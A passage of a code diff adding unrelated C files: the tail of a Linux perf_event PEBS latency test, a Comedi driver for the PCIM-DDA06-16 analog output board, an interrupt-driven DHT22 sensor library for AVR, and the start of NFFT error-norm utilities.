MEM_LOAD_UOPS_L3_HIT_RETIRED.XSNP_HIT + MEM_LOAD_UOPS_L3_HIT_RETIRED.XSNP_HITM + UOPS_RETIRED.ALL (if load or store is tagged) + MEM_LOAD_UOPS_LLC_HIT_RETIRED.XSNP_NONE + + When enabled, the latency etc info is stored in the PEBS record + +*************** +Linux interface +*************** + + Does not support old 32-bit p4/core PEBS record format(?) + + Load latency, precise store, precise store haswell + + pebs_fixup_ip() ? + makes fake Eventing info? + pebs.trap? + + weight field holds pebs->lat + + To get data src + PERF_SAMPLE_DATA_SRC +*/ + + + + +#define _GNU_SOURCE 1 + +#include +#include +#include + +#include +#include + +#include + +#include +#include + +#include +#include +#include + +#include "perf_event.h" + +#include "test_utils.h" +#include "perf_helpers.h" +#include "matrix_multiply.h" +#include "parse_record.h" + + +#define SAMPLE_FREQUENCY 100000 + +#define MMAP_DATA_SIZE 8 + +/* Global vars as I'm lazy */ +static int count_total=0; +static char *our_mmap; +static long sample_type; +static long read_format; +static int quiet; +static long long prev_head; + + +static void our_handler(int signum, siginfo_t *info, void *uc) { + + int ret; + + int fd = info->si_fd; + + ret=ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); + + prev_head=perf_mmap_read(our_mmap,MMAP_DATA_SIZE,prev_head, + sample_type,read_format, + 0, /* reg_mask */ + NULL, /*validate */ + quiet, + NULL, /* events read */ + RAW_NONE); + + count_total++; + + ret=ioctl(fd, PERF_EVENT_IOC_REFRESH, 1); + + (void) ret; + +} + + +int main(int argc, char **argv) { + + int ret; + int fd; + int mmap_pages=1+MMAP_DATA_SIZE; + + struct perf_event_attr pe; + + struct sigaction sa; + char test_string[]="Testing pebs latency..."; + + quiet=test_quiet(); + + if (!quiet) printf("This tests the intel PEBS latency.\n"); + + memset(&sa, 0, sizeof(struct sigaction)); + sa.sa_sigaction = our_handler; + sa.sa_flags = SA_SIGINFO; + + if (sigaction( SIGIO, &sa, NULL) < 0) { + fprintf(stderr,"Error setting up signal handler\n"); + exit(1); + } + + /* Set up Instruction Event */ + + memset(&pe,0,sizeof(struct perf_event_attr)); + + sample_type=PERF_SAMPLE_IP|PERF_SAMPLE_WEIGHT|PERF_SAMPLE_ADDR; + read_format=0; + + pe.type=PERF_TYPE_RAW; + pe.size=sizeof(struct perf_event_attr); + //pe.config=PERF_COUNT_HW_INSTRUCTIONS; + + /* MEM_UOPS_RETIRED:ALL_STORES */ + pe.config = 0x5382d0; + + pe.sample_period=SAMPLE_FREQUENCY; + pe.sample_type=sample_type; + + pe.read_format=read_format; + pe.disabled=1; + pe.pinned=1; + pe.exclude_kernel=1; + pe.exclude_hv=1; + pe.wakeup_events=1; + pe.precise_ip=1; + + arch_adjust_domain(&pe,quiet); + + fd=perf_event_open(&pe,0,-1,-1,0); + if (fd<0) { + if (!quiet) { + fprintf(stderr,"Problem opening leader %s\n", + strerror(errno)); + test_fail(test_string); + } + } + our_mmap=mmap(NULL, mmap_pages*4096, + PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); + + fcntl(fd, F_SETFL, O_RDWR|O_NONBLOCK|O_ASYNC); + fcntl(fd, F_SETSIG, SIGIO); + fcntl(fd, F_SETOWN,getpid()); + + ioctl(fd, PERF_EVENT_IOC_RESET, 0); + + ret=ioctl(fd, PERF_EVENT_IOC_ENABLE,0); + + if (ret<0) { + if (!quiet) { + fprintf(stderr,"Error with PERF_EVENT_IOC_ENABLE " + "of group leader: %d %s\n", + errno,strerror(errno)); + exit(1); + } + } + + naive_matrix_multiply(quiet); + + ret=ioctl(fd, PERF_EVENT_IOC_REFRESH,0); + + if (!quiet) { + printf("Counts %d, using mmap buffer %p\n",count_total,our_mmap); + } + + if (count_total==0) { + if (!quiet) printf("No overflow events generated.\n"); + test_fail(test_string); + } + munmap(our_mmap,mmap_pages*4096); + + close(fd); + + test_pass(test_string); + + return 0; +} diff --git a/pool/shard011/C/0142107_cb_pcimdda.c b/pool/shard011/C/0142107_cb_pcimdda.c new file mode 100644 index 0000000000000000000000000000000000000000..a80146133c04dd476ef5d52a1de0971a1d4dabf3 --- /dev/null +++ b/pool/shard011/C/0142107_cb_pcimdda.c @@ -0,0 +1,458 @@ +/* + comedi/drivers/cb_pcimdda.c + Computer Boards PCIM-DDA06-16 Comedi driver + Author: Calin Culianu + + COMEDI - Linux Control and Measurement Device Interface + Copyright (C) 2000 David A. Schleef + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +*/ +/* +Driver: cb_pcimdda +Description: Measurement Computing PCIM-DDA06-16 +Devices: [Measurement Computing] PCIM-DDA06-16 (cb_pcimdda) +Author: Calin Culianu +Updated: Mon, 14 Apr 2008 15:15:51 +0100 +Status: works + +All features of the PCIM-DDA06-16 board are supported. This board +has 6 16-bit AO channels, and the usual 8255 DIO setup. (24 channels, +configurable in banks of 8 and 4, etc.). This board does not support commands. + +The board has a peculiar way of specifying AO gain/range settings -- You have +1 jumper bank on the card, which either makes all 6 AO channels either +5 Volt unipolar, 5V bipolar, 10 Volt unipolar or 10V bipolar. + +Since there is absolutely _no_ way to tell in software how this jumper is set +(well, at least according to the rather thin spec. from Measurement Computing + that comes with the board), the driver assumes the jumper is at its factory +default setting of +/-5V. + +Also of note is the fact that this board features another jumper, whose +state is also completely invisible to software. It toggles two possible AO +output modes on the board: + + - Update Mode: Writing to an AO channel instantaneously updates the actual + signal output by the DAC on the board (this is the factory default). + - Simultaneous XFER Mode: Writing to an AO channel has no effect until + you read from any one of the AO channels. This is useful for loading + all 6 AO values, and then reading from any one of the AO channels on the + device to instantly update all 6 AO values in unison. Useful for some + control apps, I would assume? If your jumper is in this setting, then you + need to issue your comedi_data_write()s to load all the values you want, + then issue one comedi_data_read() on any channel on the AO subdevice + to initiate the simultaneous XFER. + +Configuration Options: + [0] PCI bus (optional) + [1] PCI slot (optional) + [2] analog output range jumper setting + 0 == +/- 5 V + 1 == +/- 10 V +*/ + +/* + This is a driver for the Computer Boards PCIM-DDA06-16 Analog Output + card. This board has a unique register layout and as such probably + deserves its own driver file. + + It is theoretically possible to integrate this board into the cb_pcidda + file, but since that isn't my code, I didn't want to significantly + modify that file to support this board (I thought it impolite to do so). + + At any rate, if you feel ambitious, please feel free to take + the code out of this file and combine it with a more unified driver + file. + + I would like to thank Timothy Curry + for lending me a board so that I could write this driver. + + -Calin Culianu + */ + +#include "../comedidev.h" + +#include "8255.h" + +/* device ids of the cards we support -- currently only 1 card supported */ +#define PCI_VENDOR_ID_COMPUTERBOARDS 0x1307 +#define PCI_ID_PCIM_DDA06_16 0x0053 + +/* + * This is straight from skel.c -- I did this in case this source file + * will someday support more than 1 board... + */ +struct board_struct { + const char *name; + unsigned short device_id; + int ao_chans; + int ao_bits; + int dio_chans; + int dio_method; + /* how many bytes into the BADR are the DIO ports */ + int dio_offset; + int regs_badrindex; /* IO Region for the control, analog output, + and DIO registers */ + int reg_sz; /* number of bytes of registers in io region */ +}; + +enum DIO_METHODS { + DIO_NONE = 0, + DIO_8255, + DIO_INTERNAL /* unimplemented */ +}; + +static const struct board_struct boards[] = { + { + .name = "cb_pcimdda06-16", + .device_id = PCI_ID_PCIM_DDA06_16, + .ao_chans = 6, + .ao_bits = 16, + .dio_chans = 24, + .dio_method = DIO_8255, + .dio_offset = 12, + .regs_badrindex = 3, + .reg_sz = 16, + } +}; + +/* + * Useful for shorthand access to the particular board structure + */ +#define thisboard ((const struct board_struct *)dev->board_ptr) + +#define REG_SZ (thisboard->reg_sz) +#define REGS_BADRINDEX (thisboard->regs_badrindex) + +/* + * this structure is for data unique to this hardware driver. If + * several hardware drivers keep similar information in this structure, + * feel free to suggest moving the variable to the struct comedi_device + * struct. + */ +struct board_private_struct { + unsigned long registers; /* set by probe */ + unsigned long dio_registers; + char attached_to_8255; /* boolean */ + /* would be useful for a PCI device */ + struct pci_dev *pci_dev; + +#define MAX_AO_READBACK_CHANNELS 6 + /* Used for AO readback */ + unsigned int ao_readback[MAX_AO_READBACK_CHANNELS]; + +}; + +/* + * most drivers define the following macro to make it easy to + * access the private structure. + */ +#define devpriv ((struct board_private_struct *)dev->private) + +static int ao_winsn(struct comedi_device *dev, struct comedi_subdevice *s, + struct comedi_insn *insn, unsigned int *data); +static int ao_rinsn(struct comedi_device *dev, struct comedi_subdevice *s, + struct comedi_insn *insn, unsigned int *data); + +/*--------------------------------------------------------------------------- + HELPER FUNCTION DECLARATIONS +-----------------------------------------------------------------------------*/ + +/* returns a maxdata value for a given n_bits */ +static inline unsigned int figure_out_maxdata(int bits) +{ + return ((unsigned int)1 << bits) - 1; +} + +/* + * Probes for a supported device. + * + * Prerequisite: private be allocated already inside dev + * + * If the device is found, it returns 0 and has the following side effects: + * + * o assigns a struct pci_dev * to dev->private->pci_dev + * o assigns a struct board * to dev->board_ptr + * o sets dev->private->registers + * o sets dev->private->dio_registers + * + * Otherwise, returns a -errno on error + */ +static int probe(struct comedi_device *dev, const struct comedi_devconfig *it); + +/*--------------------------------------------------------------------------- + FUNCTION DEFINITIONS +-----------------------------------------------------------------------------*/ + +/* + * Attach is called by the Comedi core to configure the driver + * for a particular board. If you specified a board_name array + * in the driver structure, dev->board_ptr contains that + * address. + */ +static int attach(struct comedi_device *dev, struct comedi_devconfig *it) +{ + struct comedi_subdevice *s; + int err; + +/* + * Allocate the private structure area. alloc_private() is a + * convenient macro defined in comedidev.h. + * if this function fails (returns negative) then the private area is + * kfree'd by comedi + */ + if (alloc_private(dev, sizeof(struct board_private_struct)) < 0) + return -ENOMEM; + +/* + * If you can probe the device to determine what device in a series + * it is, this is the place to do it. Otherwise, dev->board_ptr + * should already be initialized. + */ + err = probe(dev, it); + if (err) + return err; + +/* Output some info */ + printk("comedi%d: %s: ", dev->minor, thisboard->name); + +/* + * Initialize dev->board_name. Note that we can use the "thisboard" + * macro now, since we just initialized it in the last line. + */ + dev->board_name = thisboard->name; + + err = comedi_alloc_subdevices(dev, 2); + if (err) + return err; + + s = dev->subdevices + 0; + + /* analog output subdevice */ + s->type = COMEDI_SUBD_AO; + s->subdev_flags = SDF_WRITABLE | SDF_READABLE; + s->n_chan = thisboard->ao_chans; + s->maxdata = figure_out_maxdata(thisboard->ao_bits); + /* this is hard-coded here */ + if (it->options[2]) + s->range_table = &range_bipolar10; + else + s->range_table = &range_bipolar5; + s->insn_write = &ao_winsn; + s->insn_read = &ao_rinsn; + + s = dev->subdevices + 1; + /* digital i/o subdevice */ + if (thisboard->dio_chans) { + switch (thisboard->dio_method) { + case DIO_8255: + /* + * this is a straight 8255, so register us with + * the 8255 driver + */ + subdev_8255_init(dev, s, NULL, devpriv->dio_registers); + devpriv->attached_to_8255 = 1; + break; + case DIO_INTERNAL: + default: + printk("DIO_INTERNAL not implemented yet!\n"); + return -ENXIO; + break; + } + } else { + s->type = COMEDI_SUBD_UNUSED; + } + + printk("attached\n"); + + return 1; +} + +static void detach(struct comedi_device *dev) +{ + if (devpriv) { + if (dev->subdevices && devpriv->attached_to_8255) { + subdev_8255_cleanup(dev, dev->subdevices + 2); + devpriv->attached_to_8255 = 0; + } + if (devpriv->pci_dev) { + if (devpriv->registers) + comedi_pci_disable(devpriv->pci_dev); + pci_dev_put(devpriv->pci_dev); + } + } +} + +static int ao_winsn(struct comedi_device *dev, struct comedi_subdevice *s, + struct comedi_insn *insn, unsigned int *data) +{ + int i; + int chan = CR_CHAN(insn->chanspec); + unsigned long offset = devpriv->registers + chan * 2; + + /* Writing a list of values to an AO channel is probably not + * very useful, but that's how the interface is defined. */ + for (i = 0; i < insn->n; i++) { + /* first, load the low byte */ + outb((char)(data[i] & 0x00ff), offset); + /* next, write the high byte -- only after this is written is + the channel voltage updated in the DAC, unless + we're in simultaneous xfer mode (jumper on card) + then a rinsn is necessary to actually update the DAC -- + see ao_rinsn() below... */ + outb((char)(data[i] >> 8 & 0x00ff), offset + 1); + + /* for testing only.. the actual rinsn SHOULD do an inw! + (see the stuff about simultaneous XFER mode on this board) */ + devpriv->ao_readback[chan] = data[i]; + } + + /* return the number of samples read/written */ + return i; +} + +/* AO subdevices should have a read insn as well as a write insn. + + Usually this means copying a value stored in devpriv->ao_readback. + However, since this board has this jumper setting called "Simultaneous + Xfer mode" (off by default), we will support it. Simultaneaous xfer + mode is accomplished by loading ALL the values you want for AO in all the + channels, then READing off one of the AO registers to initiate the + instantaneous simultaneous update of all DAC outputs, which makes + all AO channels update simultaneously. This is useful for some control + applications, I would imagine. +*/ +static int ao_rinsn(struct comedi_device *dev, struct comedi_subdevice *s, + struct comedi_insn *insn, unsigned int *data) +{ + int i; + int chan = CR_CHAN(insn->chanspec); + + for (i = 0; i < insn->n; i++) { + inw(devpriv->registers + chan * 2); + /* + * should I set data[i] to the result of the actual read + * on the register or the cached unsigned int in + * devpriv->ao_readback[]? + */ + data[i] = devpriv->ao_readback[chan]; + } + + return i; +} + +/*--------------------------------------------------------------------------- + HELPER FUNCTION DEFINITIONS +-----------------------------------------------------------------------------*/ + +/* + * Probes for a supported device. + * + * Prerequisite: private be allocated already inside dev + * + * If the device is found, it returns 0 and has the following side effects: + * + * o assigns a struct pci_dev * to dev->private->pci_dev + * o assigns a struct board * to dev->board_ptr + * o sets dev->private->registers + * o sets dev->private->dio_registers + * + * Otherwise, returns a -errno on error + */ +static int probe(struct comedi_device *dev, const struct comedi_devconfig *it) +{ + struct pci_dev *pcidev = NULL; + int index; + unsigned long registers; + + for_each_pci_dev(pcidev) { + /* is it not a computer boards card? */ + if (pcidev->vendor != PCI_VENDOR_ID_COMPUTERBOARDS) + continue; + /* loop through cards supported by this driver */ + for (index = 0; index < ARRAY_SIZE(boards); index++) { + if (boards[index].device_id != pcidev->device) + continue; + /* was a particular bus/slot requested? */ + if (it->options[0] || it->options[1]) { + /* are we on the wrong bus/slot? */ + if (pcidev->bus->number != it->options[0] || + PCI_SLOT(pcidev->devfn) != it->options[1]) { + continue; + } + } + /* found ! */ + + devpriv->pci_dev = pcidev; + dev->board_ptr = boards + index; + if (comedi_pci_enable(pcidev, thisboard->name)) { + printk + ("cb_pcimdda: Failed to enable PCI device and request regions\n"); + return -EIO; + } + registers = + pci_resource_start(devpriv->pci_dev, + REGS_BADRINDEX); + devpriv->registers = registers; + devpriv->dio_registers + = devpriv->registers + thisboard->dio_offset; + return 0; + } + } + + printk("cb_pcimdda: No supported ComputerBoards/MeasurementComputing " + "card found at the requested position\n"); + return -ENODEV; +} + +static struct comedi_driver cb_pcimdda_driver = { + .driver_name = "cb_pcimdda", + .module = THIS_MODULE, + .attach = attach, + .detach = detach, +}; + +static int __devinit cb_pcimdda_pci_probe(struct pci_dev *dev, + const struct pci_device_id *ent) +{ + return comedi_pci_auto_config(dev, &cb_pcimdda_driver); +} + +static void __devexit cb_pcimdda_pci_remove(struct pci_dev *dev) +{ + comedi_pci_auto_unconfig(dev); +} + +static DEFINE_PCI_DEVICE_TABLE(cb_pcimdda_pci_table) = { + { PCI_DEVICE(PCI_VENDOR_ID_COMPUTERBOARDS, PCI_ID_PCIM_DDA06_16) }, + { 0 } +}; +MODULE_DEVICE_TABLE(pci, cb_pcimdda_pci_table); + +static struct pci_driver cb_pcimdda_driver_pci_driver = { + .name = "cb_pcimdda", + .id_table = cb_pcimdda_pci_table, + .probe = cb_pcimdda_pci_probe, + .remove = __devexit_p(cb_pcimdda_pci_remove), +}; +module_comedi_pci_driver(cb_pcimdda_driver, cb_pcimdda_driver_pci_driver); + +MODULE_AUTHOR("Calin A. Culianu "); +MODULE_DESCRIPTION("Comedi low-level driver for the Computerboards PCIM-DDA " + "series. Currently only supports PCIM-DDA06-16 (which " + "also happens to be the only board in this series. :) ) "); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142108_DHT22int.c b/pool/shard011/C/0142108_DHT22int.c new file mode 100644 index 0000000000000000000000000000000000000000..0880200b282bd391f037ff040cd3fa6102d40769 --- /dev/null +++ b/pool/shard011/C/0142108_DHT22int.c @@ -0,0 +1,354 @@ +/* Copyright 2014 Moreto + * + * This file is part of DHT22 Interrupt Driven library for AVR. + * + * DHT22 Interrupt Driven library for AVR is free software: you can redistribute + * it and/or modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation, either version 3 of the + * License, or (at your option) any later version. + * + * DHT22 Interrupt Driven library for AVR is distributed in the hope that it will + * be useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * Please consult the GNU General Public License at http://www.gnu.org/licenses/. + */ + +/* + * DHT22int.c + * + * Version 1 + * + * Main file of the DHT22 Interrupt Driven library for AVR. + * Created: 12/01/2014 22:26:03 + * Author: Miguel Moreto + + * This lib can read temperature and humidity of a DHT22 sensor without + * blocking the microcontroller with unnecessary delay functions. + * The lib is interrupt driven, all the timing measurements of sensor + * signal is done with a timer and a external interrupt using a state machine. + * This way, you can use this lib with multiplexed displays without flicker the + * display during the measurement of the sensor data. + * + * REQUIREMENTS: + * A pin with external interrupt (INT0, INT1 or other). + * A timer with Clear Timer on Compare Match mode (CTC). + * Timer prescaler that gives a timer frequency of 1MHz. + * + * Pin change interrupt is not supported yet. + * + * HOW IT WORKS: + * Check the comments in this file to fully understand how it works. Basically: + * 1) A timer in CTC is used to generate the host start condition. + * pin is configured as output (this is done in the timer interrupt + * handler function). + * 2) Pin is switched to input with external interrupt. At each external + * interrupt the number of timer ticks (configured to occur at each + * microsecond) is counted. + * 3) The value of the counter (microseconds) is compared with a fixed + * value in a state machine, this way, the signal from DHT22 is + * interpreted. This is done at the External Interrupt Handler. + * + * HOW TO USE: + * Include the lib: + * + * #include "DHT22int.h" + * + * Before entering the main loop of your program, declare some needed variables + * call the init function and enable interrupts. + * + * DHT22_STATE_t state; + * DHT22_DATA_t sensor_data; + * DHT22_Init(); + * sei(); + * + * Periodically (or not, depending of your use), call the function to + * start reading the sensor: + * + * state = DHT22_StartReading(); + * + * Check the state if you want to confirm that the state machine has started. + * In your main loop, check periodically when the data is available and in + * case of available, do something: + * + * state = DHT22_CheckStatus(&sensor_data); + * + * if (state == DHT_DATA_READY){ + * // Do something with the data. + * // sensor_data.temperature_integral + * // sensor_data.temperature_decimal + * // sensor_data.humidity_integral + * // sensor_data.humidity_decimal + * } + * else if (state == DHT_ERROR_CHECKSUM){ + * // Do something if there is a Checksum error + * } + * else if (state == DHT_ERROR_NOT_RESPOND){ + * // Do something if the sensor did not respond + * } + * + * To start a new measurement, you have to call DHT22_StartReading() again. + * + * IMPORTANT: You need to modify the header (.h) file accordingly with your + * microcontroller, the external interrupt used (and the pin) and + * the timer. + */ + +#include +#include + +#include "DHT22int.h" + +/* Global variables for this file */ +DHT22_STATE_t state; +uint8_t overflow_cnt = 0; +uint8_t bitcounter = 0; + +uint8_t csPart1, csPart2, csPart3, csPart4; +uint16_t rawHumidity = 0; +uint16_t rawTemperature = 0; +uint8_t checkSum = 0; + +/* NOTE: Check the macro definitions at the header file. */ + + +/* + * Timer Compare Match interrupt handler + * + * This handler is used to generate host start conditions (Periods P1 and P2). + * Using a 8bit timer with prescaler such that a timer tick corresponds to 1us (freq. = 1MHz). + */ +ISR(TIMER_CTC_VECTOR){ + + /* Using a 8bit timer maximum delay is 255us, we need at least 500us in Period P1. + Se, we need two timer interrupts. We check this with overflow_cnt and comparing + it the the define OVERFLOWS_HOST_START. + We make the pin = 0 at the begining of the state machine (function DHT22_StartReading) */ + if((state == DHT_HOST_START) && (overflow_cnt < (OVERFLOWS_HOST_START - 1))){ + overflow_cnt++; + } + /* After Period P1, we need to hold the pin high for aprox. 40us. So, we change timer compare + register to 40. */ + else if((state == DHT_HOST_START) && (overflow_cnt >= (OVERFLOWS_HOST_START - 1))){ // 510us have passed. + PIN_HIGH(DHT22_PORT,DHT22_PIN); // Change pin to High for period P2. + overflow_cnt = 0; + state = DHT_HOST_PULLUP; + TIMER_OCR_REGISTER = 40; + return; + } + /* The Period P2 have passed. We need now to change the pin to input and wait for sensor + to respond. External INT is used. Sensor will respond by pulling the line down for aprox. + 80us. So, we can measure period P3 at the next rising edge interrupt. */ + else if (state == DHT_HOST_PULLUP){ // more 40us have passed + TIMER_OCR_REGISTER = 255; // Change timer compare to 255, for now on, the timer interrupt should not fire. + // If if fires, too much time has passed and something is wrong. We will clear + // the timer counter at the beggining of the external interrupt handler. + SET_PIN_INPUT(DHT22_DDR,DHT22_PIN); // Set pin as input. + PIN_HIGH(DHT22_PORT,DHT22_PIN); // Write 1 to enable pullup. + EXT_INTERRUPT_DISABLE // Disable external interrupt (in case it is already enable) + EXT_INTERRUPT_SET_RISING_EDGE // Setting ext. int to rising edge. + EXT_INTERRUPT_CLEAR_FLAG // Clear flag to avoid spurious firing of ext. int. + EXT_INTERRUPT_ENABLE // Re-enable external int. + TIMER_COUNTER_REGISTER = 0; // Reset counter + state = DHT_WAIT_SENSOR_RESPONSE; // Change state. + return; // Return of the int. handler. + } + /* If the timer interrupt fired while not in the previous states, than too much time + has passed and we signal a error. */ + else{ + state = DHT_ERROR_NOT_RESPOND; // Change to a error state + TIMER_STOP // Stop timer. + EXT_INTERRUPT_DISABLE // Disable external interrupt + SET_PIN_OUTPUT(DHT22_DDR,DHT22_PIN); // Set pin back to output. + PIN_HIGH(DHT22_PORT,DHT22_PIN); // Set pin high to disable DHT22. + bitcounter = 0; // reset bit counter. + } +} + +/* + * External interrupt handler + * + * The external interrupt is used to measure the width of a pulse and change + * the state accordingly. + */ +ISR(EXT_INTERRUPT_VECTOR){ + + uint8_t counter_us; + counter_us = TIMER_COUNTER_REGISTER; // Store counter value + TIMER_COUNTER_REGISTER = 0; // Reset counter. + + /* Period P3. Sensor pulls down the line for aprox. 80us. + The ext int. was configured to rising edge. If counter is aprox. 80, + (or < 100 in this case) when the line rises it + indicates that the sensor responded. + Now we have to change interrupt sense to falling edge in order to + detect the period P4. + */ + if ((state == DHT_WAIT_SENSOR_RESPONSE && (counter_us > 40) && counter_us < 100)){ // Sensor responded (Period P3). + EXT_INTERRUPT_DISABLE // Disabling interrupt. + EXT_INTERRUPT_SET_FALLING_EDGE // Changing interrupt sense to falling edge. + EXT_INTERRUPT_CLEAR_FLAG // clearing flag (this prevents interrupt to fire when changing to falling edge). + EXT_INTERRUPT_ENABLE // Re-enabling interrupt. + state = DHT_SENSOR_PULLUP; // Changing state. + return; + } + /* Period P4. When the falling edge interrupt occurs, indicating the end of P4, + we get the counter register and check it value. If it is less than 100 (period + P4 is also aprox. 80us) then the sensor responded pulling up the line. Now the + bit transmission will start and we only need to measure the with of each bit. So, + the external interrupt can stay on falling edge. */ + else if((state == DHT_SENSOR_PULLUP) && (counter_us > 60) && (counter_us < 100)){ // Sensor responded (Period P4). + state = DHT_TRANSFERING; // Change state + return; + } + /* Period P5. Measuring the with of the pulse in order to determine if it is a 0 or a 1. + Bit 0 has a period of 50us + 28us. So we check if it is larger than 50us and smaller than 110. (DHT22 timing is no precise, neither the timer) */ + else if((state == DHT_TRANSFERING) && (counter_us > 50) && (counter_us <= 110)){ // Sensor sent a databit 0 (Period P5). + // If bit is a 0, only increment the bit counter (we need only to shift 1's). + bitcounter++; + } + /* Period P5. Bit 1 has a period of 50us + 70us. So, we check if it is lager than 50us and smaller than 160. */ + else if((state == DHT_TRANSFERING) && (counter_us > 110) && (counter_us <= 160)){ // Sensor sent a databit 1 (Period P5). + /* If bit is one, we shift one to the variables rawHumidity, rawTemperature and checkSum according + with bit position givem by bitcounter */ + if (bitcounter < 16) // Humidity + { + rawHumidity |= (1 << (15 - bitcounter)); + } + if ((bitcounter > 15) && (bitcounter < 32)) // Temperature + { + rawTemperature |= (1 << (31 - bitcounter)); + } + if ((bitcounter > 31) && (bitcounter < 40)) // CRC data + { + checkSum |= (1 << (39 - bitcounter)); + } + bitcounter++; // Increments bit counter, the state does not change. + } + + /* Check if all bits arrived. If so, stop the timer and external interrupt. */ + if (bitcounter > 39){ // Transfer done + TIMER_STOP // Stop timer. + TIMER_COUNTER_REGISTER = 0; // Reset counter. + EXT_INTERRUPT_DISABLE // Disabling interrupt + SET_PIN_OUTPUT(DHT22_DDR,DHT22_PIN); + PIN_HIGH(DHT22_PORT,DHT22_PIN); + bitcounter = 0; // Reset bit counter. + state = DHT_CHECK_CRC; // Change state. + } + + /* CRC check is done at outside interrupt handler, by the + function DHT22_CheckStatus. This way, this handler is very fast. */ + +} + +/* + * DHT22_STATE_t DHT22_CheckStatus(DHT22_DATA_t* data) + * + * Function that should be called after DHT22_StartReading() in order to check + * if a transfer is complete. + * + * It returns a DHT22_STATE_t variable with the state of the state machine. + * Returned values: + * DHT_DATA_READY: Data is ok and can be used by the main program. + * DHT_ERROR_CHECKSUM: Error, checksum does no match. + * DHT_ERROR_NOT_RESPOND: Sensor is not connected or not responding for some reason. + */ + +DHT22_STATE_t DHT22_CheckStatus(DHT22_DATA_t* data){ + + /* If a transfer is complete, check CRC and update sensor data structure */ + if (state == DHT_CHECK_CRC){ + + // calculate checksum: + csPart1 = rawHumidity >> 8; + csPart2 = rawHumidity & 0xFF; + csPart3 = rawTemperature >> 8; + csPart4 = rawTemperature & 0xFF; + + if( checkSum == ( (csPart1 + csPart2 + csPart3 + csPart4) & 0xFF ) ){ // Checksum correct + + /* raw data to sensor values */ + data->humidity_integral = (uint8_t)(rawHumidity / 10); + data->humidity_decimal = (uint8_t)(rawHumidity % 10); + if(rawTemperature & 0x8000) // Check if temperature is below zero, non standard way of encoding negative numbers! + { + rawTemperature &= 0x7FFF; // Remove signal bit + data->temperature_integral = (int8_t)(rawTemperature / 10) * -1; + data->temperature_decimal = (uint8_t)(rawTemperature % 10); + } else + { + data->temperature_integral = (int8_t)(rawTemperature / 10); + data->temperature_decimal = (uint8_t)(rawTemperature % 10); + } + state = DHT_DATA_READY; + } + else{ + state = DHT_ERROR_CHECKSUM; + } + } + + return state; +} + +/* + * void DHT22_Init(void) + * + * Function to be called before the main loop. + * It configures the sensor pin and timer mode. + */ +void DHT22_Init(void){ + + /* Configuring DHT pin as output (initially) */ + DHT22_DDR |= (1 << DHT22_PIN); + PIN_HIGH(DHT22_PORT,DHT22_PIN); + + /* Timer config. */ + TIMER_SETUP_CTC // Seting timer to CTC + TIMER_ENABLE_CTC_INTERRUPT // Enable compare match interrupt + // Timer is started by the function DHT22_StartReading. For now + // it remains with prescaler = 0 (disable). + TIMER_STOP + + state = DHT_STOPPED; + +} + +/* + * DHT22_STATE_t DHT22_StartReading(void) + * + * This function starts a new reading of the sensor. + * It returns a variable of type DHT22_STATE_t with the possible values: + * DHT_BUSY: The reading did not started because the state machine + * is doing something else, indicating that the previous + * reading did not finished. + * DHT_STARTED: The state machine has successfully started. The user + * can wait for data using DHT22_CheckStatus() function. + */ +DHT22_STATE_t DHT22_StartReading(void){ + + /* Check if the state machine is stopped. If so, start it. */ + if (state == DHT_STOPPED || state == DHT_DATA_READY || state == DHT_ERROR_CHECKSUM || state == DHT_ERROR_NOT_RESPOND){ + /* Reset values and counters */ + rawTemperature = 0; + rawHumidity = 0; + checkSum = 0; + overflow_cnt = 0; + bitcounter = 0; + /* Configuring peripherals */ + //EIMSK &= ~(1 << INT0); // Disable external interrupt + EXT_INTERRUPT_DISABLE + DHT22_DDR |= (1 << DHT22_PIN); // Configuring sensor pin as output. + PIN_LOW(DHT22_PORT,DHT22_PIN); // Write 0 to pin. Start condition sent to sensor. + TIMER_OCR_REGISTER = 255; // Timer compare value equals to overflow (interrupt will fired at 255us). + TIMER_COUNTER_REGISTER = 0; // Reset counter value. + state = DHT_HOST_START; // Change state. + TIMER_START // Start timer with prescaler such that 1 tick equals 1us (freq = 1MHz). + return DHT_STARTED; // Return value indicating that the state machine started. + } + else{ + return DHT_BUSY; // If state machine is busy, return this value. + } + +} // end DHT22_StartReading \ No newline at end of file diff --git a/pool/shard011/C/0142109_error.c b/pool/shard011/C/0142109_error.c new file mode 100644 index 0000000000000000000000000000000000000000..5cb7e4b24bb89e014865ccfc67d283a25d4ab4e2 --- /dev/null +++ b/pool/shard011/C/0142109_error.c @@ -0,0 +1,175 @@ +/* + * Copyright (c) 2002, 2015 Jens Keiner, Stefan Kunis, Daniel Potts + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 51 + * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/* $Id: util.c 3483 2010-04-23 19:02:34Z keiner $ */ + +#include "infft.h" + +static R cnrm1(const C *x, const INT n) +{ + INT k; + R nrm = K(0.0); + + for (k = 0; k < n; k++) + nrm += CABS(x[k]); + + return nrm; +} + +static R nrm1(const R *x, const INT n) +{ + INT k; + R nrm = K(0.0); + + for (k = 0; k < n; k++) + nrm += FABS(x[k]); + + return nrm; +} + +static R cerr2(const C *x, const C *y, const INT n) +{ + INT k; + R err = K(0.0); + + if (!y) + { + for (k = 0; k < n; k++) + err += CONJ(x[k]) * x[k]; + } + else + { + for (k = 0; k < n; k++) + err += CONJ(x[k]-y[k]) * (x[k]-y[k]); + } + + return SQRT(err); 